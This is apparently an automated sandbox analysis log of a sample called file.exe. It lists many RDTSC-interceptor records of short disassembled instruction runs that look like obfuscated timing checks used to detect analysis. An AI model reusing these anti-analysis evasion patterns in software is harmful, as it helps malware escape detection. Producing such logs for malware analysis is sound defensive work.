Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE21 second address: 4AEE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F5E68513426h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE33 second address: 4AEE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE37 second address: 4AEE4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEFDB second address: 4AEFEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5E68E41F1Ah 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B08EC second address: 4B08F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C290B second address: 4C292E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5E68E41F1Fh 0x0000000d jns 00007F5E68E41F1Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7545 second address: 4C756C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F5E6851342Eh 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E68513430h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C756C second address: 4C7574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C684F second address: 4C6853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6853 second address: 4C6859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6859 second address: 4C6866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6998 second address: 4C69AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F21h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7217 second address: 4C7243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E68513437h 0x00000008 jmp 00007F5E68513430h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8D75 second address: 4C8D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F5E68E41F1Eh 0x0000000e jns 00007F5E68E41F1Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8D97 second address: 4C8DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5E68513426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA737 second address: 4CA749 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E68E41F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F5E68E41F18h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD1EF second address: 4CD1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD1F6 second address: 4CD239 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E68E41F2Eh 0x00000008 jmp 00007F5E68E41F28h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F5E68E41F2Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD239 second address: 4CD23F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD2C4 second address: 4CD2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD2C8 second address: 4CD2CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD2CC second address: 4CD2F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dx, ax 0x0000000d push 00000004h 0x0000000f adc edx, 6755C085h 0x00000015 call 00007F5E68E41F19h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jns 00007F5E68E41F16h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD2F3 second address: 4CD33C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F5E68513426h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 jmp 00007F5E68513437h 0x0000001c jnl 00007F5E6851342Ch 0x00000022 popad 0x00000023 mov eax, dword ptr [esp+04h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jnl 00007F5E68513426h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD33C second address: 4CD342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD342 second address: 4CD347 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD347 second address: 4CD37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F5E68E41F28h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F5E68E41F1Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD37A second address: 4CD380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CEF9A second address: 4CEFC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007F5E68E41F1Ch 0x00000012 jne 00007F5E68E41F16h 0x00000018 jne 00007F5E68E41F1Eh 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CEFC9 second address: 4CEFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5FD2 second address: 3E5FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5FD7 second address: 3E5FDC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E61D0 second address: 3E61D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40281 second address: 4B40285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40285 second address: 4B4028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4028B second address: 4B4029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E6851342Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4029C second address: 4B402A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B402A0 second address: 4B402BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E6851342Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B402BD second address: 4B402C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B402C3 second address: 4B402C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B402C9 second address: 4B4030C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F5E68E41F20h 0x00000013 mov ecx, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5E68E41F27h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6066C second address: 4B60670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60670 second address: 4B6068D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6068D second address: 4B606AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, E03Eh 0x00000011 push ebx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606AD second address: 4B606B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606B3 second address: 4B606D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E6851342Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F5E6851342Bh 0x00000011 xchg eax, ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov esi, 65494911h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606D8 second address: 4B606E3 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606E3 second address: 4B6071B instructions: 0x00000000 rdtsc 0x00000002 mov edx, 6C49555Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, ax 0x00000011 pushfd 0x00000012 jmp 00007F5E68513434h 0x00000017 or si, 0EC8h 0x0000001c jmp 00007F5E6851342Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6071B second address: 4B6075A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d mov ecx, 6C2030C3h 0x00000012 push eax 0x00000013 push edx 0x00000014 call 00007F5E68E41F26h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6075A second address: 4B6076A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea eax, dword ptr [ebp-04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6076A second address: 4B60770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60770 second address: 4B60831 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E68513431h 0x00000009 xor ecx, 6C0CB2A6h 0x0000000f jmp 00007F5E68513431h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5E68513430h 0x0000001b xor cl, 00000048h 0x0000001e jmp 00007F5E6851342Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 nop 0x00000028 jmp 00007F5E68513436h 0x0000002d push eax 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F5E68513431h 0x00000035 and ecx, 1D8F0416h 0x0000003b jmp 00007F5E68513431h 0x00000040 popfd 0x00000041 mov bl, cl 0x00000043 popad 0x00000044 nop 0x00000045 jmp 00007F5E68513433h 0x0000004a push dword ptr [ebp+08h] 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F5E68513430h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60831 second address: 4B60837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60837 second address: 4B60848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E6851342Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60881 second address: 4B60885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60885 second address: 4B6088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6088B second address: 4B60891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60891 second address: 4B60895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60895 second address: 4B60899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60899 second address: 4B608AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B608AA second address: 4B608AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B608AE second address: 4B608B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B608B2 second address: 4B608F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E68E41F1Ch 0x0000000b popad 0x0000000c mov esi, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5E68E41F1Dh 0x00000017 sub ah, FFFFFFA6h 0x0000001a jmp 00007F5E68E41F21h 0x0000001f popfd 0x00000020 mov ch, B4h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60950 second address: 4B60956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60956 second address: 4B60967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E68E41F1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60967 second address: 4B6098A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E68513438h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6098A second address: 4B6099C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E68E41F1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6011B second address: 4B6015E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E68513431h 0x00000009 or ah, 00000036h 0x0000000c jmp 00007F5E68513431h 0x00000011 popfd 0x00000012 mov ecx, 7EAE3E27h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a add dword ptr [esp], 69A0DA7Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov dx, 88CAh 0x00000028 push edx 0x00000029 pop ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6015E second address: 4B601B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E68E41F1Ah 0x00000008 push esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr fs:[00000000h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F5E68E41F29h 0x0000001b pushfd 0x0000001c jmp 00007F5E68E41F20h 0x00000021 sbb ax, 7A18h 0x00000026 jmp 00007F5E68E41F1Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B601B5 second address: 4B601E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E6851342Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B601E2 second address: 4B601E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B601E8 second address: 4B601EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B601EC second address: 4B601F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B601F0 second address: 4B60261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F5E68513434h 0x00000010 adc eax, 5751CE08h 0x00000016 jmp 00007F5E6851342Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F5E68513438h 0x00000022 sbb si, F068h 0x00000027 jmp 00007F5E6851342Bh 0x0000002c popfd 0x0000002d popad 0x0000002e nop 0x0000002f pushad 0x00000030 push esi 0x00000031 mov si, bx 0x00000034 pop edi 0x00000035 mov ax, FCF3h 0x00000039 popad 0x0000003a sub esp, 18h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60261 second address: 4B60265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60265 second address: 4B60269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60269 second address: 4B6026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6026F second address: 4B60294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E68513438h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60294 second address: 4B602AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602AD second address: 4B602EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 022497D2h 0x00000008 mov ebx, 6D105F1Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], ebx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F5E68513431h 0x0000001c add si, 86A6h 0x00000021 jmp 00007F5E68513431h 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602EC second address: 4B602F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602F0 second address: 4B60327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E6851342Eh 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d jmp 00007F5E68513430h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5E6851342Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60327 second address: 4B60338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov dx, 2AC0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60338 second address: 4B60384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E68513439h 0x00000009 adc eax, 52371976h 0x0000000f jmp 00007F5E68513431h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebp 0x00000019 jmp 00007F5E6851342Ah 0x0000001e mov dword ptr [esp], edi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60384 second address: 4B60388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60388 second address: 4B603A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603A5 second address: 4B603E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, D5h 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [75C74538h] 0x00000010 jmp 00007F5E68E41F22h 0x00000015 xor dword ptr [ebp-08h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5E68E41F27h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603E3 second address: 4B6040E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E6851342Ah 0x00000012 rdtsc
